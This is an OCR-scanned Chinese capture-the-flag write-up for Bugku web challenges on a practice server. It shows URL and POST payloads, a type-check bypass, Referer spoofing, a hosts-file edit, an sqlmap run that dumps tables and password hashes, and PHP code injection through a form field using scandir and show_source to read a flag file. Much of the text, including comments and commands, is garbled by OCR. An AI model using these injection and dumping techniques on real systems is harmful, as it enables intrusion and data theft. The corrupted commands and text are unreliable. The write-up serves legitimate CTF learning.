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1.IMEKE: burpsuite. https:/portswigger.net/burp

2.BF*AM: dirmap. https:/github.com/H4ckForJob/dirmap

3.sql¥EA: sglmap. https://github.com/sqlmapproject/sglmap

43EEAD: 3T, https://github.com/raddyfiy/caidao-official-version
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view-source:http://123.206.87.240:8002/web2/
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<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN"
transitional.dtd">
<html xmlns="http://wew.w3.0rg/1999/xhtml™>
¥ <head> [==] < /head>
w <body>
<span id="code" class="cede" style="background: rgb(191, 29,
79, 171);"=2+36=2</span> |event @)

<input class="input™ type=-"text"™ maxlength="1">

<button id="check™»3&iE</button> [event
kb <div style="text-align:center;™» = </div>
<scri "is/jguery-1.12.3.min.§5"»</script>

<script type="text/javascript® src="js/code.js"></script>
</body>»
b <div id="translate-button™ style="display: none;™» (== ¢/div>
</html>

3. webZAli$_GET
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AR A X
$what=$_GET[ 'what'];//EHMSHwhat, BEFZZEwhat R
echo $what; / /%

if($what=="'Fflag')// MR ERflag
echo 'flag{****}';//$TElflag

payload:

http://123.206.87.240:8002/get/?what=flag

4. webZ:Hli$_POST

POSTHR&MESEU R, FEMhackbarsi#burpEik, HXNMLER FHContent® S S H 1= &5 ¥ 2=
{11

R Fhackbarst X 4 BRAR T, BIETEHE RIEHAT .
TRARRS :
$what=$_POST['what']; //#ZpostidkiIZHwhat, FFlwhatE
echo $what; //3TER

if($what=="flag") // IR ERflag
echo 'flag{****}';// TEIflag

payload:
$what=$_POST[whatT; > O=== mHa N FE f Hackbar D @R () istmss Oas » 0] o
echo $what;
if($what=="flag’) @ Load URL/EY) http /1123 206 87 240-8002/post/
echo 'flag{****}";
flagflag{bugku_get_ssseint67se} W spit URL

@) v Execution

9} Post Data [ | Referrer Moded By Mr.silent coder
Post data what=fag| @)

$num=$_GET['num']; //ZKESHnum
if(!is_numeric($num))// WRnumAEEH T

{

echo $num;

if($num==1) / /IR numi 1
echo 'flag{****xkxkxx}t. //4TEIflag
}
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Ft LApayload:



http://123.206.87.240:8002/get/index1.php?num=1a
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FburpylUee, =LA BIma B ARS, BEAXA—& 7R/

alert{'flag00000000 '),

alert|' 0000000 ')
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<fscript=

=/head=

T R

52 1) tHRAS G 2 B i fdecoder ., #Edecode as #&EHTML, & aEM##AS Hiflag
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Request Response
J Raw T Headers T Hex ] Raw | Header
GET S HTTP/1.1 & HTTP/1.1 200 QK

Host: flag.baidu.com - Server: nains
User-Agent: Mozilla/5.0 (Windows MT 10.0; Wingd; x64; rv67.0) Gecko/20100101 Firefowx/67.0 Date: Fri, 21 Jun &
Accept: text/html, application/htrl +xml application«ml;q=0.9,*/*:q=0.8 Content-Type: te
Accept-Language: zh-CM,zh;g=0.8,zh-TW;q=0.7,zh-HIK;q=0.5,en-U%q=0.3,en;q=0.2 Content-Length:
Accept-Encoding: azip, deflate Last-Modified: M
Connection: close Connection: clos
Upgrade-Insecure-Requests: 1 ETag: "S&fddeR3-
Cache-Control: max-age=0 Accept-Ranges: |
KEY{DSAHDSJIB.

-2) . ZEAHLhostSHE B MARHT N

Windows 2 2 C:\Windows\System32\drivers\etc B f{jhost, #In#EN :

T OVULLT JTSLVSL

T# 38.25.63.10 X.acme.com
# x client host

[==]

% # localhost name rescolution is handled within

DNS itself.
0 # 127.0.0.1 localhost
1 # HER localhost
2
3 127.0.0.1 s Telend

4 127.0.0.1 license. com

2[123.206.87.240 flag.balm
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$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/1i", trim($_GET["id"]), $match);
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key+ (ERFE Xnik) +key+ (EBRFRHIA~TIR) +key:/[+HEBFR++EBEFEX nk+ (key+a~zi—4
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BRI W —, BOERMEEAERET, XRMRAIFH &,
T & Hi&payload:

http://123.206.87.240:8002/web10/?id=keymkeymmmmkey:/m/keym.

PR MR B SR

XA T headerffireferers B, refererf ik 55288 RFE AL, LI MBRBBIWIM G, Rt KE
Referer: https://www.google.com

it LA sE B 2Eheaderfin X &) 34T
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X SA FAMlag.
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H#EZFsqimap IR, KIAF BT EEN. 54

py -2 sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=1"&admin_passwd=23333"&submit=G0+GO

RIGEFEILER TR, &<RE LmK)EmEAmnLE



--dump

FAEEIRB —Bhash, sqmap BREANERSE, BEAERWEE. FENT, FAXANRRELT . &R
whoamiZ®, F£flagl13:

[00:29:03] [INFO] resumed: "1","AdMINhEhE","9db3bae8316e95698ed679aa109¢c1925"

[00:29:03] [INFO] resumed: "2","BICkJaCk","5SFF69C838EDD75995197C516C677A416"

[00:29:03] [INFO] recognized possible password hashes in column 'w_passwd'

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N

Database: bugkusql1

Table: whoami

[2 entries]
+ + + +

| w_id | w_name | w_passwd |

+ + + +

| 1| ADMINhERE | 9db3bae8316e95698ed679aa109c1925 |
| 2 | BICkJaCk | 5FF69C838EDD75995197C516C677A416 |

+ + + +

[00:30:06] [INFQ] table 'bugkusgl1.whoami' dumped to CSV file
'C:\Users\omegal\.sglmap\output\123.206.87.240\dump\bugkusql1\whoami.csV'
[00:30:06] [INFO] fetching columns for table 'flag1' in database 'bugkusql1'
[00:30:06] [INFO] used SQL query returns 1 entries

[00:30:07] [INFQ] fetching entries for table 'flag1' in database 'bugkusql1'
[00:30:07] [INFO] used SQL query returns 1 entries

[00:30:07] [INFO] used SQL query returns 1 entries

[00:30:07] [INFO] resumed: ed6b28e684817d9efcaf802979e57aea
[00:30:07] [INFO] recognized possible password hashes in column 'flag1'
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: bugkusql1

Table: flag1

[1 entry]

+ +

| flag1 |

+ +

| ed6b28e684817d9efcaf802979e57aea |
+ +

[00:32:19] [INFO] table 'bugkusql1.flag1' dumped to CSV file 'C:\

EixAMlaghn Lflag{stfeiEiE T .
% —/Mlag:
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- G @ | @ 123.206.87.240:9001/sql/do_Everythin.php#
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23333333

fEMagictE 2] A ar <, (EETinA fovrgiE, BHAEREHIXE. SR EWTUINE, EburpEA.

Ly L EE= L) FEHE T WME @ HackBar L Hids: > 0.

*E + Q &% HTML

<IDOCTYPE htmL>»
<html style="--ru:@; --ry:8; --ty:8;"s event
} <head> (== </head>
w <body> (event
w <div class="warpper™s
<spamixE— - EEE AW AE S span>
w <form action="#" name="forml" method="post"»
¥ cdiv class=""»

o ldiv

BE BT B

Code=print_r(scandir('./"'));

POST /sal/do_Everythinphp HTTP/1.1

Host: 123.206.87.240:9001

User-Agent: Mozilla/5.0 (Windows MT 10.0; Wingd; x64; ne67.0) Gecko/20100107 Firefow/67.0
Accept: text/html application/«html +xml,application/=ml;q=0.9,*/*,q=0.8
Accept-Language: zh-CM,zh;q=0.8,zh- TW;q=0.7,zh-HIK;q=0.5,en-US,q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://123.206.87.240:2001/sql/do_Everythinphp

Content-Type: application/«-www-form-urlencoded

Content-Length: 44

Connection: close

Cookie: PHPSESSID=5985t4kjjgubrobsdogratadtivaliog

Uparade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

e

Code=print_r(scandir{’./");&submit=D0 +D O +D 0|

R 5 Eflag:

Code=show_source("FI@g3.php");&submit=D0+DO+DO

Magic :
=input class="op" type="Ma
placeholder="23333333" disabled/>

</div=

<br=

=div =
<label for="button"= <a data
<input type="submit" id="bt

</div=
=fdiv=
=/form=
=/body=
</htrml=

Welcome :AdMiNhEhE<br /= Array
(

0] =>.

[M]=>.

[2] => FI@g3.php

[3] == do_Everythin.php

[4] == index.php

[5] == newfile txt

[6] == sql-config

[7] => testfiledxt



Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML | Render

POST /sqlfdo_Everythin.php HTTP/1.1

Host: 123 206.87.240:9001

User-Agent: Mazillass.0 (WVindows NT 10.0; Wingd; x64; na67.0) Gecko/20100101 Firefox/67.0
Accept: text/html, application/xhtml +xml,applicationfxml;q0=0.9,*/*,q=0.8
Accept-Language: zh-CMN,zh;q=0 8zh-TW;q=0.7,zh-HI{;q=0.5,en-U5q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://123.206.87.240:900/sql/do_Everythin.php

Content-Type: application/-www-form-urlencoded

Content-Length: 46

Connection: close

Cookie: PHPSESSID=5985t4kjjgubrobs d99rStadtivaliog

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Code=show_source("Fl@g3.php");Bsubmit=00+D0 +DO|

Rk, 1BXAMagisinflag}al4)s haeiR
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</scripts
<body>
«div dlass="warpper">
<span=iEE—MEEESENRE AIE </span>
=form action="#" name="form1" method="post" =
<div class=""=
Magic :
<input class="op" type="Magic" name="Code" value="" maxlength="10
placeholder="23333333" disabled/=

<fdiv=
<br>
<div =
<label for="button"> <a data-title="D0 DO DO"> =/a= =/label>
<input type="submit" id="button" name="submit" value="DO DO DO" h

<fdiv=
</div=>
=/forms=
</body>
</html>

Welcome :AdMINhERE=<br /> <code> <span style="color #000000">

<span style="color: #0000BB" =& It;2php <br /> $F14g3 </span= <span style="color:
#007700">=</span= <span style="color: #DD0000" ' Sc58eccacd 6d7ce0d Ta60f4694622c57 ' =/
style="color #007700"=; <br /= </span= <span style="color: #0000BE"=2&gt; <br /> </span=
=fspan=
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